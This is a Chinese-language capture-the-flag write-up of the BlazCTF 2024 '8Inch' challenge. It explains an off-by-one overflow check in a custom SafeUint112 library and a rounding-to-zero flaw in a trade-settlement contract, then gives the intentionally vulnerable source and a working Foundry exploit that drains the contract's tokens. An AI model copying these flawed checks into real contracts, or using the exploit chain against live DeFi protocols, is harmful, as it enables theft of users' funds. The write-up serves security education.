BlazCTF2024——8Inch 复现
<h2 id="rFYru">分析</h2> <h3 id="Q1Yok">SafeUint112:后门</h3>
这里的 ctf 给我的感觉和之前不同,之前的库合约不需要审核,这里有一个问题是出现在 SafeUint112.sol
库合约中(也理解,毕竟使用的 SafeUint112.sol
并不是经过审核的安全的库合约,而是自己写的)
来看代码:
/// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
function safeCast(uint256 value) internal pure returns (uint112) {
require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(value);
}
/// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
require(uint256(a) * b <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(a * b);
}
value <= (1<<112)
看起来没没什么问题,但实际上,应该是 value < (1 << 112)
,因为 type(Uint112).max == 0xffffffffffffffffffffffffffff
,而 1<<112 == 0x10000000000000000000000000000
这说明:我们安全库中的两个安全进制函数safeCast
和 safeMul
实际上是不安全的,超出了type(Uint112).max
<h3 id="h2irp">TradeSettlement</h3>
这个合约经过分析可以发现,这是一个挂单交易的 DeFi。
主要函数分析:
createTrade()
用户调用该函数来进行挂单。卖出的 token:_tokenToSell
,支持买家支付的 token:_tokenToBuy
,卖出的金额 _amountToSell
,想购买的金额 _amountToBuy
。scaleTrade()
用户调用该函数来调整他们的挂单。scale
参数代表挂单着想要放大挂单的倍数settleTrade()
该函数就是买方调用的函数了。来购买卖家对于挂单的 Token。但是在 settleTrade()
函数中,存在精度舍入问题。
<h4 id="JaoG2">精度舍入问题&利用</h4>
在这个 challenge init 时, 用户创建了一笔订单:
tradeSettlement.createTrade(address(wojak), address(weth), 10 ether, 1 ether);
这笔订单:用户卖出 10 ether 的 wojak
Token,预期买入 1 ether 的 weth
Token。
接着我们来看 TradeSettlement:settleTrade()
function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(_amountToSettle > 0, "Invalid settlement amount");
// tradeAmount 类似于恒定乘积公式中的 k
// 用来计算用户购买对应 tradeId _amountToSettle 数量的 tokenToSell 花费的 tokenToBuy
uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
require(trade.filledAmountToSell + _amountToSettle <= trade.amountToSell, "Exceeds available amount");
@> require(
@> IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell),
@> "Buy transfer failed"
@> );
@> require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");
trade.filledAmountToSell += safeCast(_amountToSettle);
trade.filledAmountToBuy += safeCast(tradeAmount / trade.amountToSell);
if (trade.filledAmountToSell > trade.amountToSell) {
trade.isActive = false;
}
emit TradeSettled(_tradeId, msg.sender, _amountToSettle);
}
当用户购买很小数量(个位数)的 token 时:
eg:9 wei
[tradeId: 0] trade.amountToSell = 10 ether
[tradeId: 0] trade.amountToBuy = 1 ether
_amountToSettle = 9
[tradeId: 0] tradeAmount = _amountToSettle * trade.amountToBuy = 9 * 1 ether
userCostTokenToBuyAmount = tradeAmount / trade.amountToSell = 9 ether / 10 ether = 0
这里便发生了精度损失:9 / 10 = 0
, 此时,用户购买 9 wei
的 trade.tokenToSell(wojak)
不需要花费任何数量的 tokenToBuy
。
也就是说,只要我们每次传递的 _amountToSettle < 10
,我们便可以不付出任何代价,得到 _amountToSettle
数量的 trade.tokenToSell
.
<h4 id="pbM5j">SafeUint112 后门利用</h4>
我们最终要拿到 >10 ether
的 wojak
token,用上面的方法我们每次最多只能得到 9 wei
的 wojak
。要想方法我们的攻击收益,便需要我们使用 SafeUint112
的后门:
tradeSettlement.createTrade(wojak, weth, 31, 0);
为什么我们挂单的金额是 31
而不更小?因为在该合约中,是存在挂单手续费的:
contract TradeSettlement{
...
uint256 public fee = 30 wei;
...
function createTrade(address _tokenToSell, address _tokenToBuy, uint256 _amountToSell, uint256 _amountToBuy)
external
nonReentrant
{
...
trades[tradeId] = Trade({
...
amountToSell: safeCast(_amountToSell - fee),
...
});
}
}
所以我们实际的 amountToSell = 31 - 30 = 1
,还有一个选择 31 的原因是,这样更好放大我们的订单。
接着利用SafeUint112
的后门:
function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
...
@> uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
if (originalAmountToSell < newAmountNeededWithFee) {
require(
IERC20(trade.tokenToSell).transferFrom(
msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell
),
"Transfer failed"
);
}
}
我们通过 scaleTrade()
放大我们的订单,使得 safeMul(originalAmountToSell, scale) + fee == 1<<112
接着强制类型转换溢出:
这样,我们实现了无损放大我们的订单(我们没有向协议转入 wojak
但是我们在协议中挂单的 wojak
变为了 1<<112
)。
放大订单后,我们购买我们自己的订单。在我们订单中,amountToBug
为 0,也就是无需任何成本即可购买我们挂单的 wojak
,这样我们就可以掏空整个协议中的 wojak
token 了。
<h3 id="vJyLA">summary</h3>
我们利用精度损失,弄到少量的 wojak
token 用于我们自己来进行挂单。接着,利用 SafeUint112
中的后门函数,溢出,无损扩大我们的订单。即可掏空整个协议。
<h2 id="ZlHMN">源码 & Poc:</h2> <h3 id="WtE01">源码:</h3>
// src/8Inch.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./SafeUint112.sol";
import "forge-std/console.sol";
contract TradeSettlement is SafeUint112 {
struct Trade {
address maker;
address taker;
address tokenToSell;
address tokenToBuy;
uint112 amountToSell;
uint112 amountToBuy;
uint112 filledAmountToSell;
uint112 filledAmountToBuy;
bool isActive;
}
mapping(uint256 => Trade) public trades;
uint256 public nextTradeId;
bool private locked;
uint256 public fee = 30 wei;
event TradeCreated(
uint256 indexed tradeId,
address indexed maker,
address tokenToSell,
address tokenToBuy,
uint256 amountToSell,
uint256 amountToBuy
);
event TradeSettled(uint256 indexed tradeId, address indexed settler, uint256 settledAmountToSell);
event TradeCancelled(uint256 indexed tradeId);
modifier nonReentrant() {
require(!locked, "ReentrancyGuard: reentrant call");
locked = true;
_;
locked = false;
}
function createTrade(address _tokenToSell, address _tokenToBuy, uint256 _amountToSell, uint256 _amountToBuy)
external
nonReentrant
{
require(_tokenToSell != address(0) && _tokenToBuy != address(0), "Invalid token addresses");
uint256 tradeId = nextTradeId++;
trades[tradeId] = Trade({
maker: msg.sender,
taker: address(0),
tokenToSell: _tokenToSell,
tokenToBuy: _tokenToBuy,
amountToSell: safeCast(_amountToSell - fee),
amountToBuy: safeCast(_amountToBuy),
filledAmountToSell: 0,
filledAmountToBuy: 0,
isActive: true
});
require(IERC20(_tokenToSell).transferFrom(msg.sender, address(this), _amountToSell), "Transfer failed");
emit TradeCreated(tradeId, msg.sender, _tokenToSell, _tokenToBuy, _amountToSell, _amountToBuy);
}
function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(scale > 0, "Invalid scale");
require(trade.filledAmountToBuy == 0, "Trade is already filled");
uint112 originalAmountToSell = trade.amountToSell;
trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
if (originalAmountToSell < newAmountNeededWithFee) {
require(
IERC20(trade.tokenToSell).transferFrom(
msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell
),
"Transfer failed"
);
}
}
function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
// tradeId = 0: tokenToSell = wojak tokenToBuy = weth amountToSell = 10 ether amountToBuy = 1 ether
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(_amountToSettle > 0, "Invalid settlement amount");
uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
// [tradeId: 0] tradeAmount = 9 * 1 ether
require(trade.filledAmountToSell + _amountToSettle <= trade.amountToSell, "Exceeds available amount");
require(
IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell),
"Buy transfer failed"
);
require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");
trade.filledAmountToSell += safeCast(_amountToSettle);
trade.filledAmountToBuy += safeCast(tradeAmount / trade.amountToSell);
if (trade.filledAmountToSell > trade.amountToSell) {
trade.isActive = false;
}
emit TradeSettled(_tradeId, msg.sender, _amountToSettle);
}
function cancelTrade(uint256 _tradeId) external nonReentrant {
Trade storage trade = trades[_tradeId];
require(msg.sender == trade.maker, "Only maker can cancel");
require(trade.isActive, "Trade is not active");
uint256 remainingAmount = trade.amountToSell - trade.filledAmountToSell;
if (remainingAmount > 0) {
require(IERC20(trade.tokenToSell).transfer(trade.maker, remainingAmount), "Transfer failed");
}
trade.isActive = false;
emit TradeCancelled(_tradeId);
}
function getTrade(uint256 _tradeId)
external
view
returns (
address maker,
address taker,
address tokenToSell,
address tokenToBuy,
uint256 amountToSell,
uint256 amountToBuy,
uint256 filledAmountToSell,
uint256 filledAmountToBuy,
bool isActive
)
{
Trade storage trade = trades[_tradeId];
return (
trade.maker,
trade.taker,
trade.tokenToSell,
trade.tokenToBuy,
trade.amountToSell,
trade.amountToBuy,
trade.filledAmountToSell,
trade.filledAmountToBuy,
trade.isActive
);
}
}
contract Challenge {
TradeSettlement public tradeSettlement;
SimpleERC20 public wojak;
SimpleERC20 public weth;
constructor() {
tradeSettlement = new TradeSettlement();
weth = new SimpleERC20("Wrapped Ether", "WETH", 18, 10 ether);
wojak = new SimpleERC20("Wojak", "WOJAK", 18, 10 ether);
wojak.approve(address(tradeSettlement), 10 ether);
// Sell 10 WOJAK for 1 weth
tradeSettlement.createTrade(address(wojak), address(weth), 10 ether, 1 ether);
}
function isSolved() public view returns (bool) {
return wojak.balanceOf(address(0xc0ffee)) >= 10 ether;
}
}
// src/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract SimpleERC20 is IERC20 {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
}
function transfer(address _to, uint256 _value) external returns (bool) {
require(_to != address(0), "Invalid address");
require(balanceOf[msg.sender] >= _value, "Insufficient balance");
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) external returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_to != address(0), "Invalid address");
require(balanceOf[_from] >= _value, "Insufficient balance");
require(allowance[_from][msg.sender] >= _value, "Insufficient allowance");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
// src/SafeUint112.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SafeUint112 {
/// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
function safeCast(uint256 value) internal pure returns (uint112) {
require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(value);
}
/// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
require(uint256(a) * b <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(a * b);
}
}
<h3 id="HPPmk">PoC:</h3>
pragma solidity ^0.8.0;
import {TradeSettlement, Challenge} from "../src/8Inch.sol";
import {IERC20} from "../src/ERC20.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
contract TSTest is Test {
Challenge challenge;
function setUp() public {
challenge = new Challenge();
}
function test_tradeSettlement() public {
TradeSettlement tradeSettlement = challenge.tradeSettlement();
address wojak = address(challenge.wojak());
address weth = address(challenge.weth());
for (uint256 i = 0; i < 10; i++) {
tradeSettlement.settleTrade(0, 9);
console.log("wojak balance: ", IERC20(wojak).balanceOf(address(this)));
}
IERC20(wojak).approve(address(tradeSettlement), type(uint256).max);
// why 31: fee = 30 => 31 cost least
tradeSettlement.createTrade(wojak, weth, 31, 0);
tradeSettlement.scaleTrade(1, 5192296858534827628530496329220066);
tradeSettlement.settleTrade(1, IERC20(wojak).balanceOf(address(tradeSettlement)));
IERC20(wojak).transfer(address(0xc0ffee), 10 ether);
console.log(challenge.isSolved());
}
}
// type112(1e18 * scale) => 1e18
// 1e7 * scale => 1
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!